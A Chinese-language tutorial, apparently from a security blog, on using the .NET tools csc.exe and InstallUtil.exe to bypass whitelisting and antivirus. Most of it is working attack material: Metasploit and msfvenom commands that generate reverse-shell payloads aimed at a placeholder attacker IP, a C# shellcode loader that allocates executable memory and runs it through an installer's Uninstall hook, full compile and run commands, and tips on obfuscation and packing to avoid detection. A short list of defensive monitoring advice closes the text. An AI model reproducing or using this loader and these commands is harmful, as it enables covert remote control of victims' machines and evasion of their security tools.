曲线救国之免杀--Installer.exe
字数 1277 2025-08-11 22:57:12
利用CSC.exe和Installer.exe进行免杀攻击的技术分析
1. 核心概念
1.1 CSC.exe简介
- 定义: csc.exe是微软.NET Framework中的C#语言编译器
- 路径: 通常位于两个目录下:
C:\Windows\Microsoft.NET\Framework64\[.NET Version]\csc.exe(64位)C:\Windows\Microsoft.NET\Framework\[.NET Version]\csc.exe(32位)
- 依赖: 只有安装过.NET的系统才会有csc.exe进程
1.2 Installer.exe简介
- 定义: 一个命令行实用程序,用于安装和卸载服务器资源
- 功能: 与System.Configuration.Install命名空间中的类一起使用
- 特点: 通常与csc.exe存在于同一目录
2. 攻击原理
2.1 基本思路
利用系统自带的合法工具(csc.exe和Installer.exe)来编译和执行恶意代码,实现白名单绕过免杀。
2.2 必要条件
- 需要Administrators管理员权限运行
- 目标系统必须安装.NET Framework
3. 攻击步骤详解
3.1 生成恶意载荷
- 使用Metasploit的Evasion模块生成恶意文本:
生成的文件默认名为use evasion/windows/applocker_evasion_install_util set payload windows/meterpreter/reverse_tcp set LHOST [攻击者IP] set LPORT [端口] runinstall_util.txt
3.2 编译恶意代码
- 定位csc.exe路径(根据系统架构选择32位或64位版本)
- 执行编译命令:
需要管理员权限执行C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:install_util.exe install_util.txt
3.3 执行恶意程序
- 使用InstallUtil.exe执行编译后的程序:
同样需要管理员权限InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe
4. 免杀技术进阶
4.1 传统方法的局限性
- 生成的install_util.exe容易被杀软检测
- InstallUtil.exe的执行行为可能被拦截
4.2 C#脚本免杀方案
4.2.1 生成Shellcode
使用msfvenom生成C#格式的shellcode:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=[IP] LPORT=[端口] -f csharp
4.2.2 免杀脚本模板
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
public class Program{
public static void Main(){ }
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer{
public override void Uninstall(System.Collections.IDictionary savedState){
Shellcode.Exec();
}
}
public class Shellcode{
public static void Exec(){
// 替换为msfvenom生成的shellcode
byte[] shellcode = new byte[] { /* shellcode here */ };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
// 省略必要的API声明和常量定义...
}
4.2.3 编译免杀脚本
完整编译命令:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll
/r:System.IO.Compression.dll
/target:library
/out:Micopoor.exe
/platform:x64
/unsafe
C:\path\to\script.cs
5. 防御检测与绕过
5.1 常见防御措施
- 杀毒软件会检测csc.exe生成的恶意exe
- 安全产品会拦截InstallUtil.exe的异常执行行为
5.2 可能的绕过方法
- 代码混淆: 对C#源代码进行混淆处理
- 加壳保护: 对生成的exe进行加壳处理
- 权限控制: 确保以管理员权限运行
- 时间差利用: 某些杀软在生成时不会立即检测,但执行时会被拦截
6. 技术总结
6.1 优点
- 利用系统自带工具,减少可疑文件落地
- 白名单绕过,降低被检测概率
- 可结合多种免杀技术增强效果
6.2 局限性
- 需要管理员权限
- InstallUtil.exe的执行行为容易被拦截
- 生成的exe文件可能被杀软静态检测
6.3 防御建议
- 监控csc.exe和InstallUtil.exe的异常使用
- 限制非必要用户的编译权限
- 部署行为检测而非单纯依赖特征检测
- 保持杀毒软件和行为防护产品更新
附录:完整API声明(供参考)
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds);